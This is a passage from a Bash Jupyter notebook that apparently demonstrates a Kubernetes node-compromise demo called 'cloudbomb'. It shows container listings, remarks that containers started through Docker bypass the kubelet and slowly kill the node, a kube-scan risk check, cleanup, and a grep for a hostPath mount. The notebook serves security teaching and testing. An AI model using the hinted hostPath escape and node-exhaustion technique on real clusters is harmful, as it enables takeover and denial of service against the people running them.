      "5bc81e79c0ef        004811815584           \"etcd --advertise-cl…\"   24 hours ago        Up 24 hours                             k8s_etcd_etcd-minikube_kube-system_08a3871e1baa241b73e5af01a6d01393_0\n",
      "b7ea1feba115        5425bcbd23c5           \"kube-controller-man…\"   24 hours ago        Up 24 hours                             k8s_kube-controller-manager_kube-controller-manager-minikube_kube-system_4787f37e041fd890d5499a8863561e5f_0\n",
      "5dc91f905ddd        k8s.gcr.io/pause:3.5   \"/pause\"                 24 hours ago        Up 24 hours                             k8s_POD_kube-scheduler-minikube_kube-system_97bca4cd66281ad2157a6a68956c4fa5_0\n",
      "8ab516537c3a        k8s.gcr.io/pause:3.5   \"/pause\"                 24 hours ago        Up 24 hours                             k8s_POD_kube-controller-manager-minikube_kube-system_4787f37e041fd890d5499a8863561e5f_0\n",
      "4b8397fb631b        k8s.gcr.io/pause:3.5   \"/pause\"                 24 hours ago        Up 24 hours                             k8s_POD_kube-apiserver-minikube_kube-system_fe49842e48a1ca6bac988e8ba88ecc53_0\n",
      "1d4a5075e31b        k8s.gcr.io/pause:3.5   \"/pause\"                 24 hours ago        Up 24 hours                             k8s_POD_etcd-minikube_kube-system_08a3871e1baa241b73e5af01a6d01393_0\n",
      "CONTAINER ID        IMAGE                  COMMAND                  CREATED             STATUS              PORTS               NAMES\n",
      "d5a3bff8013d        722e09838634           \"/bin/sh -c 'while t…\"   31 seconds ago      Up 30 seconds                           k8s_cloudbomb_cloudbomb_default_1bc941a0-c93b-4f0c-ba5d-ff5ab56a313b_0\n",
      "0b15b60438ab        k8s.gcr.io/pause:3.5   \"/pause\"                 31 seconds ago      Up 30 seconds                           k8s_POD_cloudbomb_default_1bc941a0-c93b-4f0c-ba5d-ff5ab56a313b_0\n",
      "9fb441f4472b        harden                 \"/usr/sbin/nginx -g …\"   19 hours ago        Up 19 hours                             harden\n",
      "658daf1a9ae5        nginx                  \"/docker-entrypoint.…\"   21 hours ago        Up 21 hours                             k8s_my-nginx_my-nginx-5b56ccd65f-5tbgs_default_1ad19392-eb5c-4df9-aa54-efd0ecfe0e2c_0\n",
      "18ea1f6cc811        k8s.gcr.io/pause:3.5   \"/pause\"                 21 hours ago        Up 21 hours                             k8s_POD_my-nginx-5b56ccd65f-5tbgs_default_1ad19392-eb5c-4df9-aa54-efd0ecfe0e2c_0\n",
      "095296be488c        nginx                  \"/docker-entrypoint.…\"   23 hours ago        Up 23 hours                             k8s_my-nginx_my-nginx-5b56ccd65f-lrbr4_default_36d53d62-dccb-45ac-8f0d-6f850d92d8b1_0\n",
      "fdac76cbe36e        nginx                  \"/docker-entrypoint.…\"   23 hours ago        Up 23 hours                             k8s_my-nginx_my-nginx-5b56ccd65f-nxbdq_default_f99944db-1790-473b-995c-7faad2371330_0\n",
      "4dd8cd66fc29        k8s.gcr.io/pause:3.5   \"/pause\"                 23 hours ago        Up 23 hours                             k8s_POD_my-nginx-5b56ccd65f-lrbr4_default_36d53d62-dccb-45ac-8f0d-6f850d92d8b1_0\n",
      "72b88b969927        k8s.gcr.io/pause:3.5   \"/pause\"                 23 hours ago        Up 23 hours                             k8s_POD_my-nginx-5b56ccd65f-nxbdq_default_f99944db-1790-473b-995c-7faad2371330_0\n",
      "541f17256823        nginx                  \"/docker-entrypoint.…\"   24 hours ago        Up 24 hours                             k8s_my-nginx_my-nginx-5b56ccd65f-p5k7h_default_82824efe-4f1f-467b-b7ac-7760c13ed975_0\n",
      "3cbdff544574        nginx                  \"/docker-entrypoint.…\"   24 hours ago        Up 24 hours                             k8s_my-nginx_my-nginx-5b56ccd65f-7br4l_default_f4111fec-0eec-4f10-a7b1-4eac5b3fe097_0\n",
      "d9b11f066ead        k8s.gcr.io/pause:3.5   \"/pause\"                 24 hours ago        Up 24 hours                             k8s_POD_my-nginx-5b56ccd65f-p5k7h_default_82824efe-4f1f-467b-b7ac-7760c13ed975_0\n",
      "7ec2fc206a02        k8s.gcr.io/pause:3.5   \"/pause\"                 24 hours ago        Up 24 hours                             k8s_POD_my-nginx-5b56ccd65f-7br4l_default_f4111fec-0eec-4f10-a7b1-4eac5b3fe097_0\n",
      "1fb0d76607ed        6e38f40d628d           \"/storage-provisioner\"   24 hours ago        Up 24 hours                             k8s_storage-provisioner_storage-provisioner_kube-system_1548213e-8614-4868-9539-a40b74c08da1_1\n",
      "81a08a52422b        8d147537fb7d           \"/coredns -conf /etc…\"   24 hours ago        Up 24 hours                             k8s_coredns_coredns-78fcd69978-s857g_kube-system_c191726f-a18e-4125-b31d-80a077b6b818_0\n",
      "1b599e2e0cab        873127efbc8a           \"/usr/local/bin/kube…\"   24 hours ago        Up 24 hours                             k8s_kube-proxy_kube-proxy-phdq2_kube-system_c55fa940-60a4-44ba-aa8f-6f25fd7a96a6_0\n",
      "864fcf10b213        k8s.gcr.io/pause:3.5   \"/pause\"                 24 hours ago        Up 24 hours                             k8s_POD_coredns-78fcd69978-s857g_kube-system_c191726f-a18e-4125-b31d-80a077b6b818_0\n",
      "a6fd5b0e7715        k8s.gcr.io/pause:3.5   \"/pause\"                 24 hours ago        Up 24 hours                             k8s_POD_kube-proxy-phdq2_kube-system_c55fa940-60a4-44ba-aa8f-6f25fd7a96a6_0\n",
      "ae90af1b3a7f        k8s.gcr.io/pause:3.5   \"/pause\"                 24 hours ago        Up 24 hours                             k8s_POD_storage-provisioner_kube-system_1548213e-8614-4868-9539-a40b74c08da1_0\n",
      "2a888a4c34c5        e64579b7d886           \"kube-apiserver --ad…\"   24 hours ago        Up 24 hours                             k8s_kube-apiserver_kube-apiserver-minikube_kube-system_fe49842e48a1ca6bac988e8ba88ecc53_0\n",
      "f2ad37b3f3aa        b51ddc1014b0           \"kube-scheduler --au…\"   24 hours ago        Up 24 hours                             k8s_kube-scheduler_kube-scheduler-minikube_kube-system_97bca4cd66281ad2157a6a68956c4fa5_0\n",
      "5bc81e79c0ef        004811815584           \"etcd --advertise-cl…\"   24 hours ago        Up 24 hours                             k8s_etcd_etcd-minikube_kube-system_08a3871e1baa241b73e5af01a6d01393_0\n",
      "b7ea1feba115        5425bcbd23c5           \"kube-controller-man…\"   24 hours ago        Up 24 hours                             k8s_kube-controller-manager_kube-controller-manager-minikube_kube-system_4787f37e041fd890d5499a8863561e5f_0\n",
      "5dc91f905ddd        k8s.gcr.io/pause:3.5   \"/pause\"                 24 hours ago        Up 24 hours                             k8s_POD_kube-scheduler-minikube_kube-system_97bca4cd66281ad2157a6a68956c4fa5_0\n",
      "8ab516537c3a        k8s.gcr.io/pause:3.5   \"/pause\"                 24 hours ago        Up 24 hours                             k8s_POD_kube-controller-manager-minikube_kube-system_4787f37e041fd890d5499a8863561e5f_0\n",
      "4b8397fb631b        k8s.gcr.io/pause:3.5   \"/pause\"                 24 hours ago        Up 24 hours                             k8s_POD_kube-apiserver-minikube_kube-system_fe49842e48a1ca6bac988e8ba88ecc53_0\n",
      "1d4a5075e31b        k8s.gcr.io/pause:3.5   \"/pause\"                 24 hours ago        Up 24 hours                             k8s_POD_etcd-minikube_kube-system_08a3871e1baa241b73e5af01a6d01393_0\n"
     ]
    }
   ],
   "source": [
    "kubectl logs cloudbomb"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "# Docker is 💩, let us use `cri-o`\n",
    "\n",
    "Doesn' solve the principle problem"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {
    "tags": []
   },
   "source": [
    "## Docker vs Kubernetes\n",
    "\n",
    "The docker command bypasses Kubernetes. It is *not* visible to the `kubelet` and the `api-server`\n",
    "\n",
    "It will kill the node _s l o w l y_"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "docker ps | grep -E '$|.*BOOM.*$'"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {
    "tags": []
   },
   "source": [
    "## Kube-Scan\n",
    "\n",
    "Examine the pod with [Octarine Kube-Scan](https://github.com/octarinesec/kube-scan)\n",
    "\n",
    "Open a separate terminal window and run `minikube tunnel` in this terminal"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 16,
   "metadata": {
    "collapsed": true,
    "jupyter": {
     "outputs_hidden": true,
     "source_hidden": true
    },
    "tags": []
   },
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "namespace/kube-scan created\n",
      "configmap/kube-scan created\n",
      "serviceaccount/kube-scan created\n",
      "clusterrole.rbac.authorization.k8s.io/kube-scan created\n",
      "clusterrolebinding.rbac.authorization.k8s.io/kube-scan created\n",
      "deployment.apps/kube-scan created\n",
      "service/kube-scan-ui created\n"
     ]
    }
   ],
   "source": [
    "kubectl apply -f https://raw.githubusercontent.com/octarinesec/kube-scan/master/kube-scan.yaml"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 18,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "error: timed out waiting for the condition on deployments/kube-scan\n"
     ]
    },
    {
     "ename": "",
     "evalue": "1",
     "output_type": "error",
     "traceback": []
    }
   ],
   "source": [
    "kubectl wait -n kube-scan --for=condition=available deployment/kube-scan"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 14,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "namespace/kube-scan unchanged\n",
      "configmap/kube-scan unchanged\n",
      "serviceaccount/kube-scan unchanged\n",
      "\u001b[33;1mWarning:\u001b[0m rbac.authorization.k8s.io/v1beta1 ClusterRole is deprecated in v1.17+, unavailable in v1.22+; use rbac.authorization.k8s.io/v1 ClusterRole\n",
      "clusterrole.rbac.authorization.k8s.io/kube-scan configured\n",
      "\u001b[33;1mWarning:\u001b[0m rbac.authorization.k8s.io/v1beta1 ClusterRoleBinding is deprecated in v1.17+, unavailable in v1.22+; use rbac.authorization.k8s.io/v1 ClusterRoleBinding\n",
      "clusterrolebinding.rbac.authorization.k8s.io/kube-scan configured\n",
      "deployment.apps/kube-scan unchanged\n",
      "service/kube-scan-ui configured\n"
     ]
    }
   ],
   "source": [
    "kubectl apply -f https://raw.githubusercontent.com/octarinesec/kube-scan/master/kube-scan-lb.yaml"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 16,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "http://10.96.201.143\n"
     ]
    }
   ],
   "source": [
    "echo http://$(kubectl -n kube-scan get service kube-scan-ui -o jsonpath={..ip})"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "# Risk Score\n",
    "\n",
    "Current 5, should be 8-9 \n",
    "\n",
    "I own the node, no network access"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "# Cleanup"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 20,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "pod \"cloudbomb\" deleted\n"
     ]
    }
   ],
   "source": [
    "kubectl delete pod cloudbomb"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 21,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "namespace \"kube-scan\" deleted\n",
      "configmap \"kube-scan\" deleted\n",
      "serviceaccount \"kube-scan\" deleted\n",
      "clusterrole.rbac.authorization.k8s.io \"kube-scan\" deleted\n",
      "clusterrolebinding.rbac.authorization.k8s.io \"kube-scan\" deleted\n",
      "deployment.apps \"kube-scan\" deleted\n",
      "service \"kube-scan-ui\" deleted\n",
      "namespace \"kube-scan\" deleted\n",
      "Error from server (NotFound): error when deleting \"https://raw.githubusercontent.com/octarinesec/kube-scan/master/kube-scan-lb.yaml\": configmaps \"kube-scan\" not found\n",
      "Error from server (NotFound): error when deleting \"https://raw.githubusercontent.com/octarinesec/kube-scan/master/kube-scan-lb.yaml\": serviceaccounts \"kube-scan\" not found\n",
      "Error from server (NotFound): error when deleting \"https://raw.githubusercontent.com/octarinesec/kube-scan/master/kube-scan-lb.yaml\": deployments.apps \"kube-scan\" not found\n",
      "Error from server (NotFound): error when deleting \"https://raw.githubusercontent.com/octarinesec/kube-scan/master/kube-scan-lb.yaml\": services \"kube-scan-ui\" not found\n",
      "[unable to recognize \"https://raw.githubusercontent.com/octarinesec/kube-scan/master/kube-scan-lb.yaml\": no matches for kind \"ClusterRole\" in version \"rbac.authorization.k8s.io/v1beta1\", unable to recognize \"https://raw.githubusercontent.com/octarinesec/kube-scan/master/kube-scan-lb.yaml\": no matches for kind \"ClusterRoleBinding\" in version \"rbac.authorization.k8s.io/v1beta1\"]\n"
     ]
    },
    {
     "ename": "",
     "evalue": "1",
     "output_type": "error",
     "traceback": []
    }
   ],
   "source": [
    "kubectl delete -f https://raw.githubusercontent.com/octarinesec/kube-scan/master/kube-scan.yaml -f https://raw.githubusercontent.com/octarinesec/kube-scan/master/kube-scan-lb.yaml"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "# Pedestrians approach"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 25,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "  - hostPath:\n"
     ]
    }
   ],
   "source": [
    "kubectl get pods cloudbomb -o yaml | grep hostPath"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": []
  }
 ],
 "metadata": {
  "kernelspec": {
   "display_name": "Bash",
   "language": "bash",
   "name": "bash"
  },
  "language_info": {
   "codemirror_mode": "shell",
   "file_extension": ".sh",
   "mimetype": "text/x-sh",
   "name": "bash"
  }
 },
 "nbformat": 4,
 "nbformat_minor": 4
}